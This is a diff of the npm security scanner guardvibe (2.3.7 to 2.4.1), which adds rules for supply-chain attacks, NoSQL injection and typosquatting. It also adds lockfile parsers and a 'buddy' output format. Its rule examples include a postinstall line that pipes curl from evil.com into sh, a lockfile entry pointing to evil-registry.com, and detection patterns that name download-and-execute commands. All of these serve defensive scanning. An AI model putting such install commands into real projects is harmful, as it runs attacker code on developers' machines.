guardvibe 2.3.7 → 2.4.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +5 -5
- package/build/cli.js +4 -3
- package/build/data/rules/database.js +12 -0
- package/build/data/rules/deployment.js +12 -0
- package/build/data/rules/modern-stack.js +12 -0
- package/build/data/rules/supply-chain.js +72 -0
- package/build/tools/check-code.d.ts +1 -1
- package/build/tools/check-code.js +50 -0
- package/build/utils/manifest-parser.js +95 -0
- package/build/utils/typosquat.js +71 -0
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -5,7 +5,7 @@
|
|
|
5
5
|
[](https://github.com/goklab/guardvibe/actions/workflows/ci.yml)
|
|
6
6
|
[](https://www.npmjs.com/package/guardvibe)
|
|
7
7
|
|
|
8
|
-
**The security MCP built for vibe coding.**
|
|
8
|
+
**The security MCP built for vibe coding.** 313 security rules covering the entire AI-generated code journey — from first line to production deployment.
|
|
9
9
|
|
|
10
10
|
Works with **Claude Code, Cursor, Gemini CLI, Codex, VS Code (Copilot), Windsurf**, and any MCP-compatible coding agent.
|
|
11
11
|
|
|
@@ -13,7 +13,7 @@ Works with **Claude Code, Cursor, Gemini CLI, Codex, VS Code (Copilot), Windsurf
|
|
|
13
13
|
|
|
14
14
|
Most security tools are built for enterprise security teams. GuardVibe is built for **you** — the developer using AI to build and ship web apps fast.
|
|
15
15
|
|
|
16
|
-
- **
|
|
16
|
+
- **313 security rules** purpose-built for the stacks AI agents generate
|
|
17
17
|
- **Zero setup friction** — `npx guardvibe` and you're scanning
|
|
18
18
|
- **No account required** — runs 100% locally, no API keys, no cloud
|
|
19
19
|
- **Understands your stack** — not generic SAST, but rules that know Next.js, Supabase, Stripe, Clerk, and the tools you actually use
|
|
@@ -39,7 +39,7 @@ GuardVibe is purpose-built for the AI coding workflow. Traditional tools are exc
|
|
|
39
39
|
| CVE version detection | 21 packages | Extensive | Extensive |
|
|
40
40
|
| Compliance mapping (SOC2, PCI-DSS, HIPAA) | Built-in | Paid tier | None |
|
|
41
41
|
| SARIF CI/CD export | Yes | Yes | Limited |
|
|
42
|
-
| Rule count |
|
|
42
|
+
| Rule count | 313 (focused) | 5000+ (broad) | N/A |
|
|
43
43
|
|
|
44
44
|
**When to use GuardVibe:** You're building with AI agents and want security scanning integrated into your coding workflow — no dashboard, no account, no CI setup.
|
|
45
45
|
|
|
@@ -210,7 +210,7 @@ Malicious postinstall scripts, unpinned GitHub Actions, typosquat detection
|
|
|
210
210
|
|
|
211
211
|
All scanning tools support `format: "json"` for machine-readable output.
|
|
212
212
|
|
|
213
|
-
## Security Rules (
|
|
213
|
+
## Security Rules (313 rules across 23 modules)
|
|
214
214
|
|
|
215
215
|
| Category | Rules | Coverage |
|
|
216
216
|
|----------|-------|----------|
|
|
@@ -230,7 +230,7 @@ All scanning tools support `format: "json"` for machine-readable output.
|
|
|
230
230
|
| CVE Version Intelligence | 21 | Known vulnerable versions in package.json (21 CVEs) |
|
|
231
231
|
| Shell / Bash | 5 | Pipe to bash, chmod 777, rm -rf, sudo password |
|
|
232
232
|
| SQL | 4 | DROP/DELETE without WHERE, stacked queries, GRANT ALL |
|
|
233
|
-
| Supply Chain |
|
|
233
|
+
| Supply Chain | 16 | Malicious install scripts, lockfile integrity, dependency confusion, typosquat detection |
|
|
234
234
|
| Go | 6 | SQL injection, command injection, template escaping |
|
|
235
235
|
| Dockerfile | 7 | Root user, secrets in ENV, untagged images, non-root user |
|
|
236
236
|
| CI/CD (GitHub Actions) | 7 | Secrets interpolation, unpinned actions, write-all permissions |
|
package/build/cli.js
CHANGED
|
@@ -136,7 +136,7 @@ function setupClaudeGuide() {
|
|
|
136
136
|
matcher: "Edit|Write",
|
|
137
137
|
hooks: [{
|
|
138
138
|
type: "command",
|
|
139
|
-
command: "jq -r '.tool_input.file_path' | xargs npx -y guardvibe check --format
|
|
139
|
+
command: "jq -r '.tool_input.file_path' | xargs npx -y guardvibe check --format buddy 2>/dev/null || true"
|
|
140
140
|
}]
|
|
141
141
|
}
|
|
142
142
|
];
|
|
@@ -560,7 +560,8 @@ async function runFileCheck(filePath, flags) {
|
|
|
560
560
|
process.exit(1);
|
|
561
561
|
}
|
|
562
562
|
const format = flags.format ?? "markdown";
|
|
563
|
-
const
|
|
563
|
+
const formatArg = format === "json" ? "json" : format === "buddy" ? "buddy" : "markdown";
|
|
564
|
+
const result = checkCode(content, language, undefined, resolved, undefined, formatArg);
|
|
564
565
|
const outputFile = flags.output ?? null;
|
|
565
566
|
if (outputFile) {
|
|
566
567
|
writeFileSync(outputFile, result, "utf-8");
|
|
@@ -592,7 +593,7 @@ function printUsage() {
|
|
|
592
593
|
npx guardvibe-scan --format sarif --output results.sarif
|
|
593
594
|
|
|
594
595
|
Options:
|
|
595
|
-
--format <type> Output format: markdown (default), json, sarif
|
|
596
|
+
--format <type> Output format: markdown (default), json, sarif, buddy
|
|
596
597
|
--output <file> Write results to file instead of stdout
|
|
597
598
|
--fail-on <level> Exit 1 when findings at this level or above exist
|
|
598
599
|
critical (default) | high | medium | low | none
|
|
@@ -123,4 +123,16 @@ export const databaseRules = [
|
|
|
123
123
|
fixCode: '-- PostgreSQL: use SECURITY INVOKER\nCREATE OR REPLACE FUNCTION get_user_data(user_id uuid)\nRETURNS TABLE (id uuid, name text)\nLANGUAGE sql\nSECURITY INVOKER -- respects RLS!\nAS $$\n SELECT id, name FROM users WHERE id = user_id;\n$$;\n\n// TypeScript: call with anon key (not service role)\nconst { data } = await supabase.rpc("get_user_data", { user_id: userId });',
|
|
124
124
|
compliance: ["SOC2:CC6.1"],
|
|
125
125
|
},
|
|
126
|
+
{
|
|
127
|
+
id: "VG912",
|
|
128
|
+
name: "MongoDB NoSQL Injection via Query Operators",
|
|
129
|
+
severity: "high",
|
|
130
|
+
owasp: "A02:2025 Injection",
|
|
131
|
+
description: "MongoDB query operators ($where, $regex, $gt, $ne, $nin) used in database queries may be vulnerable to NoSQL injection if user input is passed directly without validation. Attackers can manipulate query logic to bypass authentication or extract data.",
|
|
132
|
+
pattern: /\.(find|findOne|updateOne|deleteOne|aggregate)\(\s*\{[^}]*(\$where|\$regex|\$gt|\$ne|\$nin)/g,
|
|
133
|
+
languages: ["javascript", "typescript"],
|
|
134
|
+
fix: "Validate and sanitize all user input before using it in MongoDB queries. Use a schema validation library (zod, joi) to ensure query parameters match expected types. Never pass raw request body directly to MongoDB queries.",
|
|
135
|
+
fixCode: 'import { z } from "zod";\n\n// Validate input before query\nconst schema = z.object({ id: z.string().regex(/^[a-f0-9]{24}$/) });\nconst { id } = schema.parse(req.body);\n\n// Safe query — no raw operators from user input\nconst user = await db.collection("users").findOne({ _id: new ObjectId(id) });',
|
|
136
|
+
compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
|
|
137
|
+
},
|
|
126
138
|
];
|
|
@@ -244,4 +244,16 @@ export const deploymentRules = [
|
|
|
244
244
|
fixCode: '// Validate URL scheme\nfunction isSafeUrl(url: string): boolean {\n try {\n const parsed = new URL(url);\n return ["https:", "http:"].includes(parsed.protocol);\n } catch {\n return false;\n }\n}\n\n// Usage\n<img src={isSafeUrl(userUrl) ? userUrl : "/placeholder.png"} />',
|
|
245
245
|
compliance: ["SOC2:CC7.1"],
|
|
246
246
|
},
|
|
247
|
+
{
|
|
248
|
+
id: "VG911",
|
|
249
|
+
name: "Kubernetes Secret Hardcoded Value",
|
|
250
|
+
severity: "critical",
|
|
251
|
+
owasp: "A07:2025 Identification and Authentication Failures",
|
|
252
|
+
description: "Kubernetes Secret manifest contains hardcoded base64-encoded values in the data field. These secrets are only base64-encoded (not encrypted) and will be exposed in version control. Use External Secrets, Sealed Secrets, or a secrets manager instead.",
|
|
253
|
+
pattern: /kind:\s*Secret[\s\S]*?data:[\s\S]*?(?!\s*\{\{)[\w+/=]{8,}/g,
|
|
254
|
+
languages: ["yaml"],
|
|
255
|
+
fix: "Never commit Secret manifests with hardcoded values. Use External Secrets Operator, Sealed Secrets, or inject secrets via CI/CD pipeline. Store sensitive values in a secrets manager (Vault, AWS Secrets Manager, etc.).",
|
|
256
|
+
fixCode: '# Use External Secrets Operator\napiVersion: external-secrets.io/v1beta1\nkind: ExternalSecret\nmetadata:\n name: my-secret\nspec:\n refreshInterval: 1h\n secretStoreRef:\n name: vault-backend\n kind: SecretStore\n target:\n name: my-secret\n data:\n - secretKey: password\n remoteRef:\n key: secret/data/myapp\n property: password',
|
|
257
|
+
compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.3", "HIPAA:§164.312(a)"],
|
|
258
|
+
},
|
|
247
259
|
];
|
|
@@ -482,4 +482,16 @@ export const modernStackRules = [
|
|
|
482
482
|
fixCode: 'import { randomUUID } from "crypto";\nimport path from "path";\n\n// Generate safe filename\nconst ext = path.extname(file.name).toLowerCase();\nconst ALLOWED_EXT = [".jpg", ".jpeg", ".png", ".webp", ".pdf"];\nif (!ALLOWED_EXT.includes(ext)) throw new Error("Invalid file type");\nconst safeName = `${randomUUID()}${ext}`;\nawait fs.writeFile(`/uploads/${safeName}`, buffer);',
|
|
483
483
|
compliance: ["SOC2:CC7.1"],
|
|
484
484
|
},
|
|
485
|
+
{
|
|
486
|
+
id: "VG910",
|
|
487
|
+
name: "Hono SSE Injection via streamSSE",
|
|
488
|
+
severity: "medium",
|
|
489
|
+
owasp: "A02:2025 Injection",
|
|
490
|
+
description: "Hono's streamSSE() sends Server-Sent Events to clients. If event, id, or retry fields contain unsanitized user input, attackers can inject CR/LF characters to forge SSE messages, hijack event streams, or trigger client-side actions. Related to CVE-2026-29085.",
|
|
491
|
+
pattern: /streamSSE\s*\(/g,
|
|
492
|
+
languages: ["javascript", "typescript"],
|
|
493
|
+
fix: "Sanitize all SSE field values by stripping CR/LF characters (\\r, \\n) before passing them to streamSSE. Never use raw user input in event, id, or retry fields.",
|
|
494
|
+
fixCode: '// Sanitize SSE fields\nfunction sanitizeSSE(value: string): string {\n return value.replace(/[\\r\\n]/g, "");\n}\n\n// Usage with Hono streamSSE\nreturn streamSSE(c, async (stream) => {\n await stream.writeSSE({\n event: sanitizeSSE(eventName),\n data: sanitizeSSE(data),\n id: sanitizeSSE(id),\n });\n});',
|
|
495
|
+
compliance: ["SOC2:CC7.1"],
|
|
496
|
+
},
|
|
485
497
|
];
|
|
@@ -120,4 +120,76 @@ export const supplyChainRules = [
|
|
|
120
120
|
fixCode: '// DANGEROUS — self-deleting payload:\n// "postinstall": "node setup.js && rm -f setup.js"\n\n// Legitimate scripts don\'t delete themselves:\n"scripts": {\n "postinstall": "patch-package"\n}',
|
|
121
121
|
compliance: ["SOC2:CC7.1"],
|
|
122
122
|
},
|
|
123
|
+
{
|
|
124
|
+
id: "VG870",
|
|
125
|
+
name: "Lockfile Missing Integrity Hash",
|
|
126
|
+
severity: "critical",
|
|
127
|
+
owasp: "A03:2025 Software Supply Chain Failures",
|
|
128
|
+
description: "A package in the lockfile (package-lock.json) is missing an integrity hash. Integrity hashes (sha512/sha256) ensure that the downloaded package matches what was originally resolved. Missing hashes indicate possible lockfile tampering — the exact technique used in the Axios supply chain attack (March 2026) where a malicious dependency was injected without proper integrity verification.",
|
|
129
|
+
pattern: /"node_modules\/[^"]+"\s*:\s*\{[^}]*"resolved"\s*:\s*"[^"]*"(?![^}]*"integrity")[^}]*\}/g,
|
|
130
|
+
languages: ["json"],
|
|
131
|
+
fix: "Run `npm install` with a clean node_modules to regenerate integrity hashes. If hashes were manually removed, investigate for lockfile tampering.",
|
|
132
|
+
fixCode: '// Healthy lockfile entry has integrity hash:\n"node_modules/axios": {\n "version": "1.7.9",\n "resolved": "https://registry.npmjs.org/axios/-/axios-1.7.9.tgz",\n "integrity": "sha512-LhHLbBcJkvZz..."\n}\n\n// DANGEROUS — missing integrity:\n// "node_modules/axios": {\n// "version": "1.14.1",\n// "resolved": "https://registry.npmjs.org/axios/-/axios-1.14.1.tgz"\n// }',
|
|
133
|
+
compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
|
|
134
|
+
},
|
|
135
|
+
{
|
|
136
|
+
id: "VG871",
|
|
137
|
+
name: "Non-Registry Tarball URL in Lockfile",
|
|
138
|
+
severity: "critical",
|
|
139
|
+
owasp: "A03:2025 Software Supply Chain Failures",
|
|
140
|
+
description: 'Lockfile contains a "resolved" URL pointing to a non-official npm registry. Legitimate packages resolve to registry.npmjs.org. Third-party or attacker-controlled registries can serve tampered packages. This is a key indicator of dependency substitution attacks.',
|
|
141
|
+
pattern: /"resolved"\s*:\s*"https?:\/\/(?!registry\.npmjs\.org\/)[^"]*\.tgz"/g,
|
|
142
|
+
languages: ["json"],
|
|
143
|
+
fix: "Verify the package source. If using a private registry, ensure it is your organization's approved registry. Remove any packages resolving to unknown hosts.",
|
|
144
|
+
fixCode: '// Safe — official npm registry:\n"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"\n\n// DANGEROUS — unknown registry:\n// "resolved": "https://evil-registry.com/lodash/-/lodash-4.17.21.tgz"',
|
|
145
|
+
compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
|
|
146
|
+
},
|
|
147
|
+
{
|
|
148
|
+
id: "VG872",
|
|
149
|
+
name: "Dependency Confusion Risk — Unscoped Internal Package Name",
|
|
150
|
+
severity: "high",
|
|
151
|
+
owasp: "A03:2025 Software Supply Chain Failures",
|
|
152
|
+
description: 'Package dependency uses common internal naming patterns (e.g., prefixed with "internal-", "company-", "app-") without an npm scope (@org/). Unscoped packages with internal-sounding names are prime targets for dependency confusion attacks — an attacker publishes a higher-versioned package with the same name on the public registry.',
|
|
153
|
+
pattern: /"(?:internal-|company-|corp-|private-|infra-|platform-|service-|lib-|shared-|common-|core-|base-|app-|org-|team-|dept-)[a-z0-9-]+":\s*"[\^~]?\d/g,
|
|
154
|
+
languages: ["json"],
|
|
155
|
+
fix: "Use npm scopes (@your-org/package-name) for all internal packages. Configure .npmrc to route your scope to your private registry.",
|
|
156
|
+
fixCode: '// DANGEROUS — unscoped internal package (dependency confusion target):\n"dependencies": {\n "internal-auth": "^2.1.0"\n}\n\n// Safe — scoped to your org:\n"dependencies": {\n "@mycompany/internal-auth": "^2.1.0"\n}',
|
|
157
|
+
compliance: ["SOC2:CC7.1"],
|
|
158
|
+
},
|
|
159
|
+
{
|
|
160
|
+
id: "VG873",
|
|
161
|
+
name: "Suspicious Package Name — Deceptive Prefix/Suffix Pattern",
|
|
162
|
+
severity: "high",
|
|
163
|
+
owasp: "A03:2025 Software Supply Chain Failures",
|
|
164
|
+
description: 'Dependency uses a deceptive naming pattern that mimics a legitimate package with a prefix or suffix (e.g., "plain-crypto-js" mimicking "crypto-js", "real-lodash" mimicking "lodash"). This is the exact technique used in the Axios NPM supply chain attack (March 2026) where the injected "plain-crypto-js" package was a backdoor disguised as a crypto utility.',
|
|
165
|
+
pattern: /"(?:plain-|real-|original-|safe-|secure-|true-|actual-|verified-|legit-|official-|clean-|pure-|native-|simple-|fast-|super-|ultra-|better-|enhanced-|improved-|modern-|updated-)[a-z][\w.-]*":\s*"[\^~]?\d/g,
|
|
166
|
+
languages: ["json"],
|
|
167
|
+
fix: "Verify the package is legitimate. Check npm for the package author, publication date, and download count. Compare with the well-known package it appears to mimic.",
|
|
168
|
+
fixCode: '// DANGEROUS — deceptive prefix mimicking crypto-js:\n"dependencies": {\n "plain-crypto-js": "^1.0.0"\n}\n\n// Safe — use the real package:\n"dependencies": {\n "crypto-js": "^4.2.0"\n}',
|
|
169
|
+
compliance: ["SOC2:CC7.1"],
|
|
170
|
+
},
|
|
171
|
+
{
|
|
172
|
+
id: "VG874",
|
|
173
|
+
name: "Install Script Downloads and Executes Remote Code",
|
|
174
|
+
severity: "critical",
|
|
175
|
+
owasp: "A03:2025 Software Supply Chain Failures",
|
|
176
|
+
description: "Install script combines download and execution in a single command (e.g., curl|sh, wget|bash, fetch+eval). This is the most dangerous pattern in supply chain attacks — it downloads arbitrary code and immediately executes it with the developer's full permissions.",
|
|
177
|
+
pattern: /["'](?:post|pre)install["']\s*:\s*["'][^"']*(?:curl[^"']*\|\s*(?:sh|bash|node)|wget[^"']*\|\s*(?:sh|bash|node)|fetch\([^)]*\)[^"']*\.then[^"']*eval|npx\s+[^@\s][^"']*)/gi,
|
|
178
|
+
languages: ["json"],
|
|
179
|
+
fix: "Never pipe remote content directly to a shell. Download files first, verify checksums, then execute.",
|
|
180
|
+
fixCode: '// DANGEROUS — download and execute:\n// "postinstall": "curl https://evil.com/setup.sh | sh"\n\n// Safe — no remote execution in install scripts:\n"scripts": {\n "postinstall": "prisma generate"\n}',
|
|
181
|
+
compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
|
|
182
|
+
},
|
|
183
|
+
{
|
|
184
|
+
id: "VG875",
|
|
185
|
+
name: "Lockfile Contains Deprecated SHA-1 Integrity",
|
|
186
|
+
severity: "medium",
|
|
187
|
+
owasp: "A03:2025 Software Supply Chain Failures",
|
|
188
|
+
description: "Lockfile uses SHA-1 integrity hashes instead of SHA-512. SHA-1 is cryptographically broken — collision attacks are practical. An attacker who can produce a SHA-1 collision could substitute a malicious package that passes integrity verification. Modern lockfiles should exclusively use SHA-512.",
|
|
189
|
+
pattern: /"integrity"\s*:\s*"sha1-[A-Za-z0-9+/=]+"/g,
|
|
190
|
+
languages: ["json"],
|
|
191
|
+
fix: "Delete node_modules and package-lock.json, then run `npm install` to regenerate with SHA-512 hashes. Ensure you are using npm >= 7.",
|
|
192
|
+
fixCode: '// WEAK — SHA-1 integrity (broken algorithm):\n"integrity": "sha1-abc123def456..."\n\n// Strong — SHA-512 integrity:\n"integrity": "sha512-abc123def456ghij..."',
|
|
193
|
+
compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
|
|
194
|
+
},
|
|
123
195
|
];
|
|
@@ -6,4 +6,4 @@ export interface Finding {
|
|
|
6
6
|
}
|
|
7
7
|
export declare function analyzeCode(code: string, language: string, framework?: string, filePath?: string, configDir?: string, rules?: SecurityRule[]): Finding[];
|
|
8
8
|
export declare function formatFindingsJson(findings: Finding[], extra?: Record<string, unknown>): string;
|
|
9
|
-
export declare function checkCode(code: string, language: string, framework?: string, filePath?: string, configDir?: string, format?: "markdown" | "json", rules?: SecurityRule[]): string;
|
|
9
|
+
export declare function checkCode(code: string, language: string, framework?: string, filePath?: string, configDir?: string, format?: "markdown" | "json" | "buddy", rules?: SecurityRule[]): string;
|
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
import { basename } from "path";
|
|
1
2
|
import { owaspRules } from "../data/rules/index.js";
|
|
2
3
|
import { loadConfig } from "../utils/config.js";
|
|
3
4
|
import { loadIgnoreFile, isIgnored } from "../utils/ignore.js";
|
|
@@ -421,6 +422,9 @@ export function checkCode(code, language, framework, filePath, configDir, format
|
|
|
421
422
|
if (format === "json") {
|
|
422
423
|
return formatFindingsJson(findings);
|
|
423
424
|
}
|
|
425
|
+
if (format === "buddy") {
|
|
426
|
+
return formatBuddyOutput(findings, filePath);
|
|
427
|
+
}
|
|
424
428
|
if (findings.length === 0) {
|
|
425
429
|
return formatCleanReport(language, framework);
|
|
426
430
|
}
|
|
@@ -547,3 +551,49 @@ function formatReport(findings, language, framework) {
|
|
|
547
551
|
}
|
|
548
552
|
return lines.join("\n");
|
|
549
553
|
}
|
|
554
|
+
// ─── Buddy Format ────────────────────────────────────────────────
|
|
555
|
+
function severityWeight(s) {
|
|
556
|
+
return s === "critical" ? 4 : s === "high" ? 3 : s === "medium" ? 2 : 1;
|
|
557
|
+
}
|
|
558
|
+
function formatBuddyOutput(findings, filePath) {
|
|
559
|
+
const counts = { critical: 0, high: 0, medium: 0, low: 0 };
|
|
560
|
+
for (const f of findings) {
|
|
561
|
+
const sev = f.rule.severity;
|
|
562
|
+
if (sev in counts)
|
|
563
|
+
counts[sev]++;
|
|
564
|
+
}
|
|
565
|
+
let score = 100;
|
|
566
|
+
score -= counts.critical * 15;
|
|
567
|
+
score -= counts.high * 8;
|
|
568
|
+
score -= counts.medium * 3;
|
|
569
|
+
score -= counts.low * 1;
|
|
570
|
+
score = Math.max(0, Math.min(100, score));
|
|
571
|
+
const grade = score >= 90 ? "A" : score >= 75 ? "B" : score >= 60 ? "C" : score >= 40 ? "D" : "F";
|
|
572
|
+
const faces = {
|
|
573
|
+
A: "\\[^_^]/",
|
|
574
|
+
B: " [^_^]b",
|
|
575
|
+
C: " [o_o] ",
|
|
576
|
+
D: " [>_<] ",
|
|
577
|
+
F: " [X_X]!",
|
|
578
|
+
};
|
|
579
|
+
const face = faces[grade] || faces.C;
|
|
580
|
+
const messages = {
|
|
581
|
+
A: ["All clear, captain!", "Fort Knox level!", "Zero issues. Nice!", "Secure & clean!"],
|
|
582
|
+
B: ["Looking good!", "Almost perfect!", "Solid work!", "Just minor things."],
|
|
583
|
+
C: ["Some issues here...", "Needs attention.", "Review recommended."],
|
|
584
|
+
D: ["Multiple issues!", "Fix these ASAP.", "Getting risky..."],
|
|
585
|
+
F: ["Red alert!", "Critical issues!", "Stop and fix now!", "Danger zone!"],
|
|
586
|
+
};
|
|
587
|
+
const pool = messages[grade] || messages.C;
|
|
588
|
+
const msg = pool[Math.floor(Math.random() * pool.length)];
|
|
589
|
+
if (findings.length === 0) {
|
|
590
|
+
return `🛡️ ${face} GuardVibe: ${grade} [${score}] ✓ ${msg}`;
|
|
591
|
+
}
|
|
592
|
+
const sorted = [...findings].sort((a, b) => severityWeight(b.rule.severity) - severityWeight(a.rule.severity));
|
|
593
|
+
const top = sorted[0];
|
|
594
|
+
const fileName = filePath ? basename(filePath) : "unknown";
|
|
595
|
+
const severityIcon = counts.critical > 0 ? "🚨" : counts.high > 0 ? "⚠" : "⚡";
|
|
596
|
+
const total = counts.critical + counts.high + counts.medium + counts.low;
|
|
597
|
+
const detail = `${total} issue${total > 1 ? "s" : ""} — ${top.rule.name} (${fileName}:${top.line})`;
|
|
598
|
+
return `🛡️ ${face} GuardVibe: ${grade} [${score}] ${severityIcon} ${detail} — ${msg}`;
|
|
599
|
+
}
|
|
@@ -4,6 +4,10 @@ export function parseManifest(content, filename) {
|
|
|
4
4
|
return parsePackageLock(content);
|
|
5
5
|
if (lower === "package.json")
|
|
6
6
|
return parsePackageJson(content);
|
|
7
|
+
if (lower === "yarn.lock")
|
|
8
|
+
return parseYarnLock(content);
|
|
9
|
+
if (lower === "pnpm-lock.yaml")
|
|
10
|
+
return parsePnpmLock(content);
|
|
7
11
|
if (lower === "requirements.txt")
|
|
8
12
|
return parseRequirementsTxt(content);
|
|
9
13
|
if (lower === "go.mod")
|
|
@@ -77,6 +81,97 @@ function walkPackageLockDependencies(dependencies, packages) {
|
|
|
77
81
|
}
|
|
78
82
|
}
|
|
79
83
|
}
|
|
84
|
+
function parseYarnLock(content) {
|
|
85
|
+
const packages = new Map();
|
|
86
|
+
// yarn.lock v1 format:
|
|
87
|
+
// "package@^version":
|
|
88
|
+
// version "1.2.3"
|
|
89
|
+
// resolved "https://registry.yarnpkg.com/..."
|
|
90
|
+
// integrity sha512-...
|
|
91
|
+
//
|
|
92
|
+
// yarn berry (v2+) format:
|
|
93
|
+
// "package@npm:^version":
|
|
94
|
+
// version: 1.2.3
|
|
95
|
+
// resolution: "package@npm:1.2.3"
|
|
96
|
+
const lines = content.split("\n");
|
|
97
|
+
let currentName = null;
|
|
98
|
+
for (const rawLine of lines) {
|
|
99
|
+
const line = rawLine.trimEnd();
|
|
100
|
+
// Skip comments and empty lines
|
|
101
|
+
if (!line || line.startsWith("#")) {
|
|
102
|
+
currentName = null;
|
|
103
|
+
continue;
|
|
104
|
+
}
|
|
105
|
+
// Package header line (not indented)
|
|
106
|
+
if (!line.startsWith(" ") && !line.startsWith("\t")) {
|
|
107
|
+
// Extract package name from patterns like:
|
|
108
|
+
// "axios@^1.7.0, axios@^1.7.9":
|
|
109
|
+
// axios@^1.7.0:
|
|
110
|
+
const headerMatch = line.match(/^"?(@?[^@\s,"]+)@/);
|
|
111
|
+
if (headerMatch) {
|
|
112
|
+
currentName = headerMatch[1];
|
|
113
|
+
}
|
|
114
|
+
else {
|
|
115
|
+
currentName = null;
|
|
116
|
+
}
|
|
117
|
+
continue;
|
|
118
|
+
}
|
|
119
|
+
// Version line (indented)
|
|
120
|
+
if (currentName) {
|
|
121
|
+
// v1: ' version "1.7.9"'
|
|
122
|
+
const v1Match = line.match(/^\s+version\s+"([^"]+)"/);
|
|
123
|
+
if (v1Match) {
|
|
124
|
+
const version = sanitizeVersion(v1Match[1]);
|
|
125
|
+
if (version) {
|
|
126
|
+
addPackage(packages, { name: currentName, version, ecosystem: "npm" });
|
|
127
|
+
}
|
|
128
|
+
currentName = null;
|
|
129
|
+
continue;
|
|
130
|
+
}
|
|
131
|
+
// berry: ' version: 1.7.9'
|
|
132
|
+
const berryMatch = line.match(/^\s+version:\s+(.+)/);
|
|
133
|
+
if (berryMatch) {
|
|
134
|
+
const version = sanitizeVersion(berryMatch[1].trim().replace(/^"|"$/g, ""));
|
|
135
|
+
if (version) {
|
|
136
|
+
addPackage(packages, { name: currentName, version, ecosystem: "npm" });
|
|
137
|
+
}
|
|
138
|
+
currentName = null;
|
|
139
|
+
continue;
|
|
140
|
+
}
|
|
141
|
+
}
|
|
142
|
+
}
|
|
143
|
+
return [...packages.values()];
|
|
144
|
+
}
|
|
145
|
+
function parsePnpmLock(content) {
|
|
146
|
+
const packages = new Map();
|
|
147
|
+
// pnpm-lock.yaml format (v6+):
|
|
148
|
+
// /@scope/package@1.2.3:
|
|
149
|
+
// resolution: {integrity: sha512-...}
|
|
150
|
+
//
|
|
151
|
+
// pnpm-lock.yaml format (v9+):
|
|
152
|
+
// '@scope/package@1.2.3':
|
|
153
|
+
// resolution: {integrity: sha512-...}
|
|
154
|
+
//
|
|
155
|
+
// Also handles packages section:
|
|
156
|
+
// /package@1.2.3:
|
|
157
|
+
const lines = content.split("\n");
|
|
158
|
+
for (const rawLine of lines) {
|
|
159
|
+
const line = rawLine.trimEnd();
|
|
160
|
+
// Match package entries like:
|
|
161
|
+
// '/@scope/package@1.2.3:' or ' /@scope/package@1.2.3:'
|
|
162
|
+
// '/package@1.2.3:'
|
|
163
|
+
// '@scope/package@1.2.3': (v9+ quoted format)
|
|
164
|
+
const pnpmMatch = line.match(/^\s+['"]?\/?(@?[a-zA-Z0-9][\w./-]*?)@(\d[^:'"\s]*)['"]?\s*:/);
|
|
165
|
+
if (pnpmMatch) {
|
|
166
|
+
const name = pnpmMatch[1];
|
|
167
|
+
const version = sanitizeVersion(pnpmMatch[2]);
|
|
168
|
+
if (version && name) {
|
|
169
|
+
addPackage(packages, { name, version, ecosystem: "npm" });
|
|
170
|
+
}
|
|
171
|
+
}
|
|
172
|
+
}
|
|
173
|
+
return [...packages.values()];
|
|
174
|
+
}
|
|
80
175
|
function parseRequirementsTxt(content) {
|
|
81
176
|
const packages = new Map();
|
|
82
177
|
for (const line of content.split("\n")) {
|
package/build/utils/typosquat.js
CHANGED
|
@@ -72,11 +72,82 @@ export function levenshtein(a, b) {
|
|
|
72
72
|
}
|
|
73
73
|
return dp[m][n];
|
|
74
74
|
}
|
|
75
|
+
// Deceptive prefixes used in supply chain attacks (e.g., "plain-crypto-js" → "crypto-js")
|
|
76
|
+
const DECEPTIVE_PREFIXES = [
|
|
77
|
+
"plain-", "real-", "original-", "safe-", "secure-", "true-", "actual-",
|
|
78
|
+
"verified-", "legit-", "official-", "clean-", "pure-", "native-", "simple-",
|
|
79
|
+
"fast-", "super-", "ultra-", "better-", "enhanced-", "improved-", "modern-",
|
|
80
|
+
"updated-", "new-", "my-", "the-", "a-", "node-", "js-", "ts-",
|
|
81
|
+
];
|
|
82
|
+
// Deceptive suffixes (e.g., "lodash-utils" → "lodash", "express-js" → "express")
|
|
83
|
+
const DECEPTIVE_SUFFIXES = [
|
|
84
|
+
"-js", "-ts", "-node", "-utils", "-util", "-lib", "-helper", "-helpers",
|
|
85
|
+
"-core", "-plus", "-pro", "-next", "-new", "-v2", "-v3", "-latest",
|
|
86
|
+
"-fixed", "-patched", "-secure", "-safe", "-clean",
|
|
87
|
+
];
|
|
88
|
+
/**
|
|
89
|
+
* Detects prefix/suffix squatting attacks.
|
|
90
|
+
* e.g., "plain-crypto-js" strips to "crypto-js" → exact match → high confidence typosquat.
|
|
91
|
+
*/
|
|
92
|
+
function detectPrefixSuffixSquat(name) {
|
|
93
|
+
const lower = name.toLowerCase();
|
|
94
|
+
for (const prefix of DECEPTIVE_PREFIXES) {
|
|
95
|
+
if (lower.startsWith(prefix)) {
|
|
96
|
+
const stripped = lower.slice(prefix.length);
|
|
97
|
+
if (POPULAR_PACKAGES.includes(stripped)) {
|
|
98
|
+
return { similarTo: stripped, confidence: 0.95 };
|
|
99
|
+
}
|
|
100
|
+
// Also check Levenshtein against stripped name
|
|
101
|
+
for (const popular of POPULAR_PACKAGES) {
|
|
102
|
+
const popularBare = popular.startsWith("@") ? popular.split("/").pop() ?? popular : popular;
|
|
103
|
+
if (Math.abs(stripped.length - popularBare.length) <= 1 && levenshtein(stripped, popularBare) === 1) {
|
|
104
|
+
return { similarTo: popular, confidence: 0.85 };
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
for (const suffix of DECEPTIVE_SUFFIXES) {
|
|
110
|
+
if (lower.endsWith(suffix)) {
|
|
111
|
+
const stripped = lower.slice(0, -suffix.length);
|
|
112
|
+
if (POPULAR_PACKAGES.includes(stripped)) {
|
|
113
|
+
return { similarTo: stripped, confidence: 0.9 };
|
|
114
|
+
}
|
|
115
|
+
}
|
|
116
|
